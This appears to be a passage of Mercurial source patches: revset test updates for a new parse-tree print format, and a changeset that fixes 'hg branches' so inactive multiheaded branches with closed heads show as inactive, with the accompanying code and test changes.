   $ echo 'shadowall(all) = all and universe' >> .hg/hgrc
   $ try 'shadowall(0)'
   (func
-    ('symbol', 'shadowall')
-    ('symbol', '0'))
+    (symbol 'shadowall')
+    (symbol '0'))
   * expanded:
   (and
-    ('symbol', '0')
+    (symbol '0')
     (func
-      ('symbol', 'all')
+      (symbol 'all')
       None))
   * set:
   <filteredset
@@ -3726,26 +3726,26 @@
 
   $ try "unknownref(0)" --config 'revsetalias.unknownref($1)=$1:$2'
   (func
-    ('symbol', 'unknownref')
-    ('symbol', '0'))
+    (symbol 'unknownref')
+    (symbol '0'))
   abort: bad definition of revset alias "unknownref": invalid symbol '$2'
   [255]
 
   $ hg debugrevspec --debug --config revsetalias.anotherbadone='branch(' "tip"
-  ('symbol', 'tip')
+  (symbol 'tip')
   warning: bad definition of revset alias "anotherbadone": at 7: not a prefix: end
   * set:
   <baseset [9]>
   9
 
   $ try 'tip'
-  ('symbol', 'tip')
+  (symbol 'tip')
   * set:
   <baseset [9]>
   9
 
   $ hg debugrevspec --debug --config revsetalias.'bad name'='tip' "tip"
-  ('symbol', 'tip')
+  (symbol 'tip')
   warning: bad declaration of revset alias "bad name": at 4: invalid token
   * set:
   <baseset [9]>
@@ -3753,17 +3753,17 @@
   $ echo 'strictreplacing($1, $10) = $10 or desc("$1")' >> .hg/hgrc
   $ try 'strictreplacing("foo", tip)'
   (func
-    ('symbol', 'strictreplacing')
+    (symbol 'strictreplacing')
     (list
-      ('string', 'foo')
-      ('symbol', 'tip')))
+      (string 'foo')
+      (symbol 'tip')))
   * expanded:
   (or
     (list
-      ('symbol', 'tip')
+      (symbol 'tip')
       (func
-        ('symbol', 'desc')
-        ('string', '$1'))))
+        (symbol 'desc')
+        (string '$1'))))
   * set:
   <addset
     <baseset [9]>,
@@ -3774,20 +3774,20 @@
 
   $ try 'd(2:5)'
   (func
-    ('symbol', 'd')
+    (symbol 'd')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (range
-          ('symbol', '2')
-          ('symbol', '5'))
-        ('symbol', 'date'))))
+          (symbol '2')
+          (symbol '5'))
+        (symbol 'date'))))
   * set:
   <baseset [4, 5, 3, 2]>
   4
@@ -3796,71 +3796,71 @@
   2
   $ try 'rs(2 or 3, date)'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     (list
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'date')))
+          (symbol '2')
+          (symbol '3')))
+      (symbol 'date')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
+            (symbol '2')
+            (symbol '3')))
+        (symbol 'date'))))
   * set:
   <baseset [3, 2]>
   3
   2
   $ try 'rs()'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     None)
   hg: parse error: invalid number of arguments: 0
   [255]
   $ try 'rs(2)'
   (func
-    ('symbol', 'rs')
-    ('symbol', '2'))
+    (symbol 'rs')
+    (symbol '2'))
   hg: parse error: invalid number of arguments: 1
   [255]
   $ try 'rs(2, data, 7)'
   (func
-    ('symbol', 'rs')
+    (symbol 'rs')
     (list
-      ('symbol', '2')
-      ('symbol', 'data')
-      ('symbol', '7')))
+      (symbol '2')
+      (symbol 'data')
+      (symbol '7')))
   hg: parse error: invalid number of arguments: 3
   [255]
   $ try 'rs4(2 or 3, x, x, date)'
   (func
-    ('symbol', 'rs4')
+    (symbol 'rs4')
     (list
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '3')))
-      ('symbol', 'x')
-      ('symbol', 'x')
-      ('symbol', 'date')))
+          (symbol '2')
+          (symbol '3')))
+      (symbol 'x')
+      (symbol 'x')
+      (symbol 'date')))
   * expanded:
   (func
-    ('symbol', 'reverse')
+    (symbol 'reverse')
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', 'date'))))
+            (symbol '2')
+            (symbol '3')))
+        (symbol 'date'))))
   * set:
   <baseset [3, 2]>
   3
@@ -3927,16 +3927,16 @@
   $ try 'limit(1 or 2 or 3, 2) and not 2'
   (and
     (func
-      ('symbol', 'limit')
+      (symbol 'limit')
       (list
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '2')
-            ('symbol', '3')))
-        ('symbol', '2')))
+            (symbol '1')
+            (symbol '2')
+            (symbol '3')))
+        (symbol '2')))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset [1, 2]>,
@@ -3946,13 +3946,13 @@
   $ try 'max(1 or 2) and not 2'
   (and
     (func
-      ('symbol', 'max')
+      (symbol 'max')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2'))))
+          (symbol '1')
+          (symbol '2'))))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset
@@ -3964,13 +3964,13 @@
   $ try 'min(1 or 2) and not 1'
   (and
     (func
-      ('symbol', 'min')
+      (symbol 'min')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2'))))
+          (symbol '1')
+          (symbol '2'))))
     (not
-      ('symbol', '1')))
+      (symbol '1')))
   * set:
   <filteredset
     <baseset
@@ -3982,15 +3982,15 @@
   $ try 'last(1 or 2, 1) and not 2'
   (and
     (func
-      ('symbol', 'last')
+      (symbol 'last')
       (list
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '2')))
-        ('symbol', '1')))
+            (symbol '1')
+            (symbol '2')))
+        (symbol '1')))
     (not
-      ('symbol', '2')))
+      (symbol '2')))
   * set:
   <filteredset
     <baseset [2]>,
@@ -4065,12 +4065,12 @@
   (_concat
     (_concat
       (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
+        (symbol '278')
+        (string '5f5'))
+      (symbol '1ee'))
+    (string 'ce5'))
   * concatenated:
-  ('string', '2785f51eece5')
+  (string '2785f51eece5')
   * set:
   <baseset [0]>
   0
@@ -4078,22 +4078,22 @@
   $ echo 'cat4($1, $2, $3, $4) = $1 ## $2 ## $3 ## $4' >> .hg/hgrc
   $ try "cat4(278, '5f5', 1ee, 'ce5')"
   (func
-    ('symbol', 'cat4')
+    (symbol 'cat4')
     (list
-      ('symbol', '278')
-      ('string', '5f5')
-      ('symbol', '1ee')
-      ('string', 'ce5')))
+      (symbol '278')
+      (string '5f5')
+      (symbol '1ee')
+      (string 'ce5')))
   * expanded:
   (_concat
     (_concat
       (_concat
-        ('symbol', '278')
-        ('string', '5f5'))
-      ('symbol', '1ee'))
-    ('string', 'ce5'))
+        (symbol '278')
+        (string '5f5'))
+      (symbol '1ee'))
+    (string 'ce5'))
   * concatenated:
-  ('string', '2785f51eece5')
+  (string '2785f51eece5')
   * set:
   <baseset [0]>
   0
@@ -4370,98 +4370,98 @@
   * analyzed:
   (and
     (func
-      ('symbol', 'draft')
+      (symbol 'draft')
       None)
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (or
         (list
           (and
             (or
               (list
-                ('symbol', 'S1')
-                ('symbol', 'D1')
-                ('symbol', 'P5')))
+                (symbol 'S1')
+                (symbol 'D1')
+                (symbol 'P5')))
             (not
-              ('symbol', 'D3')))
-          ('symbol', 'S2')))))
+              (symbol 'D3')))
+          (symbol 'S2')))))
   * optimized:
   (func
-    ('symbol', '_phaseandancestors')
+    (symbol '_phaseandancestors')
     (list
-      ('symbol', 'draft')
+      (symbol 'draft')
       (or
         (list
           (difference
             (func
-              ('symbol', '_list')
-              ('string', 'S1\x00D1\x00P5'))
-            ('symbol', 'D3'))
-          ('symbol', 'S2')))))
+              (symbol '_list')
+              (string 'S1\x00D1\x00P5'))
+            (symbol 'D3'))
+          (symbol 'S2')))))
   $ hg debugrevspec --verify -p analyzed -p optimized 'secret() & ::9'
   * analyzed:
   (and
     (func
-      ('symbol', 'secret')
+      (symbol 'secret')
       None)
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '9')))
+      (symbol 'ancestors')
+      (symbol '9')))
   * optimized:
   (func
-    ('symbol', '_phaseandancestors')
+    (symbol '_phaseandancestors')
     (list
-      ('symbol', 'secret')
-      ('symbol', '9')))
+      (symbol 'secret')
+      (symbol '9')))
   $ hg debugrevspec --verify -p analyzed -p optimized '7 & ( (not public()) & ::(tag()) )'
   * analyzed:
   (and
-    ('symbol', '7')
+    (symbol '7')
     (and
       (not
         (func
-          ('symbol', 'public')
+          (symbol 'public')
           None))
       (func
-        ('symbol', 'ancestors')
+        (symbol 'ancestors')
         (func
-          ('symbol', 'tag')
+          (symbol 'tag')
           None))))
   * optimized:
   (and
-    ('symbol', '7')
+    (symbol '7')
     (func
-      ('symbol', '_phaseandancestors')
+      (symbol '_phaseandancestors')
       (list
-        ('symbol', '_notpublic')
+        (symbol '_notpublic')
         (func
-          ('symbol', 'tag')
+          (symbol 'tag')
           None))))
   $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, 1)'
   * optimized:
   (and
     (func
-      ('symbol', '_notpublic')
+      (symbol '_notpublic')
       None)
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
         (func
-          ('symbol', '_list')
-          ('string', 'S1\x00D2\x00P5'))
-        ('symbol', '1'))))
+          (symbol '_list')
+          (string 'S1\x00D2\x00P5'))
+        (symbol '1'))))
   $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, depth=1)'
   * optimized:
   (and
     (func
-      ('symbol', '_notpublic')
+      (symbol '_notpublic')
       None)
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
         (func
-          ('symbol', '_list')
-          ('string', 'S1\x00D2\x00P5'))
+          (symbol '_list')
+          (string 'S1\x00D2\x00P5'))
         (keyvalue
-          ('symbol', 'depth')
-          ('symbol', '1')))))
+          (symbol 'depth')
+          (symbol '1')))))
# HG changeset patch
# User the31k <the31k@thethirty.one>
# Date 1504193048 -10800
#      Thu Aug 31 18:24:08 2017 +0300
# Node ID abf91c4f960818dc06ef2e0b76ebbe54a285ce3c
# Parent  7bbc4e113e5f635bc2d4f993a62e6b463bbc338d
branches: correctly show inactive multiheaded branches

Issue being fixed here: `hg branches` incorrectly renders inactive multiheaded
branches as active if they have closed heads.

Example:

```
$ hg log --template '{rev}:{node|short} "{desc}" ({branch}) [parents: {parents}]\n'
4:2e2fa7af8357 "merge" (default) [parents: 0:c94e548c8c7d 3:7be622ae5832 ]
3:7be622ae5832 "2" (somebranch) [parents: 1:81c1d9458987 ]
2:be82cf30409c "close" (somebranch) [parents: ]
1:81c1d9458987 "1" (somebranch) [parents: ]
0:c94e548c8c7d "initial" (default) [parents: ]

$ hg branches
default                        4:2e2fa7af8357
somebranch                     3:7be622ae5832
```

Branch `somebranch` have two heads, the 1st one being closed (rev 2) and
the other one being merged into default (rev 3). This branch should be shown as
inactive one.

This happens because we intersect branch heads with repo heads to check branch
activity. In this case intersection in a set with one node (rev 2). This head
is closed but the branch is marked as active nevertheless.

Fix is to check branch activity by intersecting only open heads set.

Fixed output:

```
$ hg branches
default                        4:2e2fa7af8357
somebranch                     3:7be622ae5832 (inactive)
```

Relevant tests for multihead branches added to test-branches suite.

Implentation note about adding `iteropen` method:

At first I have tried to modify `iterbranches` is such a way that it would
filter out closed heads itself. For example it could have `closed=False`
parameter. But in this case we would have to filter closed tips as well.
Reasoning in terms of `hg branches` we actually are not allowed to do this.

Also, we need to do heads filtering only if tip is not closed itself. But if it
is - we are ok to skip filtering, because branch is already known to be inactive.

So we can't implement heads filtering in `iterbranches` in elegant way, because
we will end up with something like `closed_heads=False` or even
`closed_heads_is_tip_is_open`. Finally I decided to move this logic to the
`branches` function, adding `iteropen` helper method.

Differential Revision: https://phab.mercurial-scm.org/D583

diff --git a/mercurial/branchmap.py b/mercurial/branchmap.py
--- a/mercurial/branchmap.py
+++ b/mercurial/branchmap.py
@@ -211,10 +211,13 @@
         Raise KeyError for unknown branch.'''
         return self._branchtip(self[branch])[0]
 
+    def iteropen(self, nodes):
+        return (n for n in nodes if n not in self._closednodes)
+
     def branchheads(self, branch, closed=False):
         heads = self[branch]
         if not closed:
-            heads = [h for h in heads if h not in self._closednodes]
+            heads = list(self.iteropen(heads))
         return heads
 
     def iterbranches(self):
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1077,7 +1077,10 @@
     allheads = set(repo.heads())
     branches = []
     for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
-        isactive = not isclosed and bool(set(heads) & allheads)
+        isactive = False
+        if not isclosed:
+            openheads = set(repo.branchmap().iteropen(heads))
+            isactive = bool(openheads & allheads)
         branches.append((tag, repo[tip], isactive, not isclosed))
     branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]),
                   reverse=True)
diff --git a/tests/test-branches.t b/tests/test-branches.t
--- a/tests/test-branches.t
+++ b/tests/test-branches.t
@@ -418,6 +418,131 @@
   date:        Thu Jan 01 00:00:09 1970 +0000
   summary:     prune bad branch
   
+
+reclose branch
+
+  $ hg up -C c
+  3 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ hg commit -d '9 0' --close-branch -m 'reclosing this branch'
+  $ hg branches
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+  $ hg branches --closed
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  c                             14:f894c25619d3 (closed)
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+multihead branch
+
+  $ hg up -C default
+  0 files updated, 0 files merged, 3 files removed, 0 files unresolved
+  $ hg branch m
+  marked working directory as branch m
+  $ touch m
+  $ hg add m
+  $ hg commit -d '10 0' -m 'multihead base'
+  $ echo "m1" >m
+  $ hg commit -d '10 0' -m 'head 1'
+  $ hg up -C '.^'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ echo "m2" >m
+  $ hg commit -d '10 0' -m 'head 2'
+  created new head
+  $ hg log -b m
+  changeset:   17:df343b0df04f
+  branch:      m
+  tag:         tip
+  parent:      15:f3447637f53e
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 2
+  
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  changeset:   15:f3447637f53e
+  branch:      m
+  parent:      0:19709c5a4e75
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     multihead base
+  
+  $ hg heads --topo m
+  changeset:   17:df343b0df04f
+  branch:      m
+  tag:         tip
+  parent:      15:f3447637f53e
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 2
+  
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  $ hg branches
+  m                             17:df343b0df04f
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+partially merge multihead branch
+
+  $ hg up -C default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg branch md
+  marked working directory as branch md
+  $ hg merge m
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg commit -d '11 0' -m 'merge head 2'
+  $ hg heads --topo m
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  $ hg branches
+  md                            18:c914c99f1fbb
+  m                             17:df343b0df04f
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+partially close multihead branch
+
+  $ hg up -C a58ca5d3bdf3
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit -d '12 0' -m 'close head 1' --close-branch
+  $ hg heads --topo m
+  changeset:   19:cd21a80baa3d
+  branch:      m
+  tag:         tip
+  parent:      16:a58ca5d3bdf3
+  user:        test
+  date:        Thu Jan 01 00:00:12 1970 +0000
+  summary:     close head 1
+  
+  $ hg branches
+  md                            18:c914c99f1fbb
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  m                             17:df343b0df04f (inactive)
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
 default branch colors:
 
   $ cat <<EOF >> $HGRCPATH
@@ -427,22 +552,23 @@
   > mode = ansi
   > EOF
 
-  $ hg up -C c
-  3 files updated, 0 files merged, 2 files removed, 0 files unresolved
-  $ hg commit -d '9 0' --close-branch -m 'reclosing this branch'
   $ hg up -C b
-  2 files updated, 0 files merged, 3 files removed, 0 files unresolved
+  2 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg branches --color=always
+  \x1b[0;0mmd\x1b[0m\x1b[0;33m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;32mb\x1b[0m\x1b[0;33m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;0ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;33m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;0mm\x1b[0m\x1b[0;33m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;0ma\x1b[0m\x1b[0;33m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;0mdefault\x1b[0m\x1b[0;33m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
 
 default closed branch color:
 
   $ hg branches --color=always --closed
+  \x1b[0;0mmd\x1b[0m\x1b[0;33m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;32mb\x1b[0m\x1b[0;33m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;0ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;33m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;0mm\x1b[0m\x1b[0;33m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;30;1mc\x1b[0m\x1b[0;33m                             14:f894c25619d3\x1b[0m (closed) (esc)
   \x1b[0;0ma\x1b[0m\x1b[0;33m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;0mdefault\x1b[0m\x1b[0;33m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
@@ -461,16 +587,20 @@
 custom branch colors:
 
   $ hg branches --color=always
+  \x1b[0;32mmd\x1b[0m\x1b[0;36m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;31mb\x1b[0m\x1b[0;36m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;32ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;36m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;35mm\x1b[0m\x1b[0;36m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;35ma\x1b[0m\x1b[0;36m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;35mdefault\x1b[0m\x1b[0;36m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
 
 custom closed branch color:
 
   $ hg branches --color=always --closed
+  \x1b[0;32mmd\x1b[0m\x1b[0;36m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;31mb\x1b[0m\x1b[0;36m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;32ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;36m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;35mm\x1b[0m\x1b[0;36m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;34mc\x1b[0m\x1b[0;36m                             14:f894c25619d3\x1b[0m (closed) (esc)
   \x1b[0;35ma\x1b[0m\x1b[0;36m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;35mdefault\x1b[0m\x1b[0;36m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
@@ -481,6 +611,14 @@
   [
    {
     "active": true,
+    "branch": "md",
+    "closed": false,
+    "current": false,
+    "node": "c914c99f1fbb2b1d785a0a939ed3f67275df18e9",
+    "rev": 18
+   },
+   {
+    "active": true,
     "branch": "b",
     "closed": false,
     "current": true,
@@ -497,6 +635,14 @@
    },
    {
     "active": false,
+    "branch": "m",
+    "closed": false,
+    "current": false,
+    "node": "df343b0df04feb2a946cd4b6e9520e552fef14ee",
+    "rev": 17
+   },
+   {
+    "active": false,
     "branch": "c",
     "closed": true,
     "current": false,
@@ -525,8 +671,10 @@
   c
 
   $ hg branches -T '{word(0, branch)}: {desc|firstline}\n'
+  md: merge head 2
   b: reopen branch with a change
   a: Adding d branch
+  m: head 2
   a: Adding b branch head 2
   default: Adding root node
 
@@ -538,8 +686,10 @@
   > EOF
   $ hg branches -T "$TESTTMP/map-myjson"
   {
+   {"branch": "md", "node": "c914c99f1fbb"},
    {"branch": "b", "node": "e23b5505d1ad"},
    {"branch": "a branch *", "node": "10ff5895aa57"}, (glob)
+   {"branch": "m", "node": "df343b0df04f"},
    {"branch": "a", "node": "d8cbc61dbaa6"},
    {"branch": "default", "node": "19709c5a4e75"}
   }
@@ -553,8 +703,10 @@
   > EOF
   $ hg branches -T myjson
   {
+   {"branch": "md", "node": "c914c99f1fbb"},
    {"branch": "b", "node": "e23b5505d1ad"},
    {"branch": "a branch *", "node": "10ff5895aa57"}, (glob)
+   {"branch": "m", "node": "df343b0df04f"},
    {"branch": "a", "node": "d8cbc61dbaa6"},
    {"branch": "default", "node": "19709c5a4e75"}
   }
@@ -564,8 +716,10 @@
   > :docheader = 'should not be selected as a docheader for literal templates\n'
   > EOF
   $ hg branches -T '{branch}\n'
+  md
   b
   a branch name much longer than the default justification used by branches
+  m
   a
   default
 
@@ -579,14 +733,14 @@
   $ rm -rf .hg/cache; hg head a -T '{rev}\n'
   5
   $ f --hexdump --size .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=87
+  .hg/cache/rbc-names-v1: size=92
   0000: 64 65 66 61 75 6c 74 00 61 00 62 00 63 00 61 20 |default.a.b.c.a |
   0010: 62 72 61 6e 63 68 20 6e 61 6d 65 20 6d 75 63 68 |branch name much|
   0020: 20 6c 6f 6e 67 65 72 20 74 68 61 6e 20 74 68 65 | longer than the|
   0030: 20 64 65 66 61 75 6c 74 20 6a 75 73 74 69 66 69 | default justifi|
   0040: 63 61 74 69 6f 6e 20 75 73 65 64 20 62 79 20 62 |cation used by b|
-  0050: 72 61 6e 63 68 65 73                            |ranches|
-  .hg/cache/rbc-revs-v1: size=120
+  0050: 72 61 6e 63 68 65 73 00 6d 00 6d 64             |ranches.m.md|
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
   0010: 88 1f e2 b9 00 00 00 01 ac 22 03 33 00 00 00 02 |.........".3....|
   0020: ae e3 9c d1 00 00 00 02 d8 cb c6 1d 00 00 00 01 |................|
@@ -594,7 +748,9 @@
   0040: ee bb 94 44 00 00 00 02 5f 40 61 bb 00 00 00 02 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 02 d3 f1 63 45 80 00 00 02 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 02 e2 3b 55 05 00 00 00 02 |.........;U.....|
-  0070: f8 94 c2 56 80 00 00 03                         |...V....|
+  0070: f8 94 c2 56 80 00 00 03 f3 44 76 37 00 00 00 05 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 05 df 34 3b 0d 00 00 00 05 |.........4;.....|
+  0090: c9 14 c9 9f 00 00 00 06 cd 21 a8 0b 80 00 00 05 |.........!......|
 
 no errors when revbranchcache is not writable
 
@@ -622,9 +778,9 @@
   $ echo >> .hg/cache/rbc-revs-v1
   $ rm -f .hg/cache/branch* && hg head a -T '{rev}\n' --debug
   5
-  truncating cache/rbc-revs-v1 to 120
+  truncating cache/rbc-revs-v1 to 160
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with partial last record
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 119 rbc-revs-v1 > .hg/cache/rbc-revs-v1
@@ -634,14 +790,14 @@
   5
   truncating cache/rbc-revs-v1 to 112
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with missing record - no truncation
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 112 rbc-revs-v1 > .hg/cache/rbc-revs-v1
   $ rm -f .hg/cache/branch* && hg head a -T '{rev}\n' --debug
   5
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with some bad records
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 8 rbc-revs-v1 > .hg/cache/rbc-revs-v1
@@ -658,29 +814,29 @@
   5
   truncating cache/rbc-revs-v1 to 104
   $ f --size --hexdump --bytes=16 .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
 cache is updated when committing
   $ hg branch i-will-regret-this
   marked working directory as branch i-will-regret-this
   $ hg ci -m regrets
   $ f --size .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=106
-  .hg/cache/rbc-revs-v1: size=128
+  .hg/cache/rbc-names-v1: size=111
+  .hg/cache/rbc-revs-v1: size=168
 update after rollback - the cache will be correct but rbc-names will will still
 contain the branch name even though it no longer is used
   $ hg up -qr '.^'
   $ hg rollback -qf
   $ f --size --hexdump .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=106
+  .hg/cache/rbc-names-v1: size=111
   0000: 64 65 66 61 75 6c 74 00 61 00 62 00 63 00 61 20 |default.a.b.c.a |
   0010: 62 72 61 6e 63 68 20 6e 61 6d 65 20 6d 75 63 68 |branch name much|
   0020: 20 6c 6f 6e 67 65 72 20 74 68 61 6e 20 74 68 65 | longer than the|
   0030: 20 64 65 66 61 75 6c 74 20 6a 75 73 74 69 66 69 | default justifi|
   0040: 63 61 74 69 6f 6e 20 75 73 65 64 20 62 79 20 62 |cation used by b|
-  0050: 72 61 6e 63 68 65 73 00 69 2d 77 69 6c 6c 2d 72 |ranches.i-will-r|
-  0060: 65 67 72 65 74 2d 74 68 69 73                   |egret-this|
-  .hg/cache/rbc-revs-v1: size=120
+  0050: 72 61 6e 63 68 65 73 00 6d 00 6d 64 00 69 2d 77 |ranches.m.md.i-w|
+  0060: 69 6c 6c 2d 72 65 67 72 65 74 2d 74 68 69 73    |ill-regret-this|
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
   0010: 88 1f e2 b9 00 00 00 01 ac 22 03 33 00 00 00 02 |.........".3....|
   0020: ae e3 9c d1 00 00 00 02 d8 cb c6 1d 00 00 00 01 |................|
@@ -688,12 +844,14 @@
   0040: ee bb 94 44 00 00 00 02 5f 40 61 bb 00 00 00 02 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 02 d3 f1 63 45 80 00 00 02 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 02 e2 3b 55 05 00 00 00 02 |.........;U.....|
-  0070: f8 94 c2 56 80 00 00 03                         |...V....|
+  0070: f8 94 c2 56 80 00 00 03 f3 44 76 37 00 00 00 05 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 05 df 34 3b 0d 00 00 00 05 |.........4;.....|
+  0090: c9 14 c9 9f 00 00 00 06 cd 21 a8 0b 80 00 00 05 |.........!......|
 cache is updated/truncated when stripping - it is thus very hard to get in a
 situation where the cache is out of sync and the hash check detects it
   $ hg --config extensions.strip= strip -r tip --nob
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=112
+  .hg/cache/rbc-revs-v1: size=152
 
 cache is rebuilt when corruption is detected
   $ echo > .hg/cache/rbc-names-v1
@@ -701,13 +859,14 @@
   referenced branch names not found - rebuilding revision branch cache from scratch
   8 9 10 11 12 13 truncating cache/rbc-revs-v1 to 40
   $ f --size --hexdump .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=79
+  .hg/cache/rbc-names-v1: size=84
   0000: 62 00 61 00 63 00 61 20 62 72 61 6e 63 68 20 6e |b.a.c.a branch n|
   0010: 61 6d 65 20 6d 75 63 68 20 6c 6f 6e 67 65 72 20 |ame much longer |
   0020: 74 68 61 6e 20 74 68 65 20 64 65 66 61 75 6c 74 |than the default|
   0030: 20 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 20 75 | justification u|
-  0040: 73 65 64 20 62 79 20 62 72 61 6e 63 68 65 73    |sed by branches|
